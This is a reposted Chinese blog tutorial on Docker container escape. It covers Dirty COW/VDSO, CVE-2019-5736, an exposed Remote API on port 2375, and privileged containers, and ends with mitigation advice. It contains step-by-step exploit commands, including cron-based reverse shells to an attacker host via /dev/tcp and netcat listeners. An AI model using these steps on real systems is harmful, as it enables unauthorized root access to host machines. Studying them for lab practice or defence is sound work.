docker逃逸的几种方法以及其原理
这两天想打个内网靶机,因为太大了还在下载,公司网也不快
(
泪目
)
,因为涉及到域渗透方面,和一些接触过的技术,现在先来提前预习一下做个准备
获取某个系统
shell
后发现其是
docker
,这时候我们就需要进行
docker
逃逸来拿到其真正宿主的权限。这里提供几种思路。
利用
dirty cow
来进行
docker
逃逸
cve-2019-5736
docker
配置不当
1.
利用
dirty cow来进行docker逃逸
1.前置知识
在
Linux
中,有一个功能:
VDSO(virtual dvnamic shared object),
这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间
,
可以理解成将内核中的函数映射到内存中,方便大家访问。
VDSO
其实就是将内核中的
.so
文件映射到内存,
.so
是基于
Linux
下的动态链接
,
其功能和作用类似与
windows
下
.dll
文件。
2.利用dirty cow与VDSO来实现docker逃逸的过程
dirty cow
漏洞可以让我们获取只读内存的写的权限,我们首先利用
dirty cow
漏洞写入一段
shellcode
到
VDSO
映射的一段闲置内存中,然后改变函数的执行顺序,使得调用正常的任意函数之前都要执行这段
shellcode
。这段
shellcode
初始化的时候会检查是否是被
root
调用,如果是则继续执行,如果不是,则接着执行
clock_gettime
函数,接下来它会检测
/tmp/.X
文件的存在,如果存在,则这时已经是
root
权限了,然后它会打开一个反向的
TCP
链接,为
Shellcode
中填写的
ip
返回一个
Shell
。
这种利用方法利用成功的前提是,宿主机的内核有
dirty cow
漏洞。
3.利用过程
1.判断是否为docker环境
ls -alh /.dockerenv
docker环境中根目录下存在此文件
查看系统进程的
cgroup信息
cat /proc/1/cgroup
2.
下载脚本
(
脏牛的
)
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
3.利用脚本
./0xdeadbeef #
反弹
shell
到本地主机
./0xdeadbeef ip:port #
反弹
shell
到指定主机的指定端口
4.利用结果
我们直接反弹宿主机的
shell
到
127.0.0.1
如图所示
通过
cve-2019-5736来达到docker逃逸
1.利用原理与条件
通过在
docker
容器内重写和运行主机系统的
runc
二进制文件达到逃逸的目的。
利用条件为:
runc
版本
<=1.0-rc6
Docker Version < 18.09.2
2.
漏洞触发过程
首先我们得有一个
docker
下的
shell
,第二步修改利用脚本中的反弹
shell
命令,第三步使用
go build
来编译脚本,第四步将脚本上传到
docker
中,第五步等待宿主机执行
exec
进入当前
docker
容器等时候,宿主机就会向我们的
vps
反弹
root
权限的
shell
。
3.具体操作
第一步:确定
docker环境
ls -alh /.dockerenv
docker
环境中根目录下存在此文件
查看系统进程的
cgroup
信息
cat /proc/1/cgroup
第二步:下载利用脚本并修改
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
下图中的选中部分修改
\n后面的命令为反弹shell命令即可。
第三步:编译脚本
go build main.go
第四步:将编译好的
main文件上传到docker中
可以先上传到
github
然后在
docker
到
shell
中使用
git clone
命令即可,这里不做演示。
第五步:执行脚本并等待此
docker再次被exec
docker exec -it test /bin/bash
如上命令的含义是进入
test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。
4.此种方式利用的理解
这种方式利用的条件其实比较苛刻,主要苛刻在宿主机必须有人执行
exec
命令进入当前
docker
环境,如果没有人在宿主机执行的话,是无法进行
docker
逃逸的。
配置不当导致
docker逃逸
1.docket remote api
未授权访问导致逃逸
docker swarm
是管理
docker
集群的工具。主从管理、默认通过
2375
端口通信。绑定了一个
Docker Remote API
的服务,可以通过
HTTP
、
Python
、调用
API
来操作
Docker
。由于环境复杂,这里借用
freebuf
上的图片。
确定
docker remote api是否可访问
直接在浏览器中输入
http://ip:2375/version
1.访问
http://ip:2375/containers/json
看是否出现以下画面:
1.
创建一个包,得到返回的
exec_id的参数,数据包内容如下:
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
注意其中的
cmd字段,这个就是要执行的命令。
1.
得到
exec_id参数后构造第二个exec_start数据包,内容如下:
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
{
“Detach”: false,
“Tty”: false
}
然后发送后会得到结果:
至此成功获取到
docker主机的命令执行权限,但是还无法逃逸到宿主机。
在
docker容器内安装docker作为client
apt-get install docker.io
yum -y install docker
查看宿主机的
docker image信息
docker -H tcp://宿主机ip:2375 images
启动一个容器并且将宿主机的根目录抓再到容器的某个目录
docker -H tcp://
宿主
ip:2375 run -it -v /:/test adafef2e596e /bin/bash
上述命令的意思是将宿主机的根目录挂在到容器
adafef2e596e的/test目录下
写一个计划任务反弹
shell(
或者写
.ssh
公钥都
OK)
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root
在
vps上使用nc命令等待反弹过来的shell
nc -lvp 8888
利用特权模式逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行
docker run —privileged
时,
Docker
容器将被允许访问主机上的所有设备,并可以执行
mount
命令进行挂载。
查看磁盘文件
fdisk -l
echo '* * * * * bash -i >& /dev/tcp/vps
的
ip/8888 0>&1' >> /nuoyan/var/spool/cron/root
4.
在
vps上等待shell反连接
nc -lvp 8888
防止
docker逃逸的方法
1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险
_____________________________________________________-
正文处转载于:https://blog.csdn.net/qq_41874930/article/details/109216506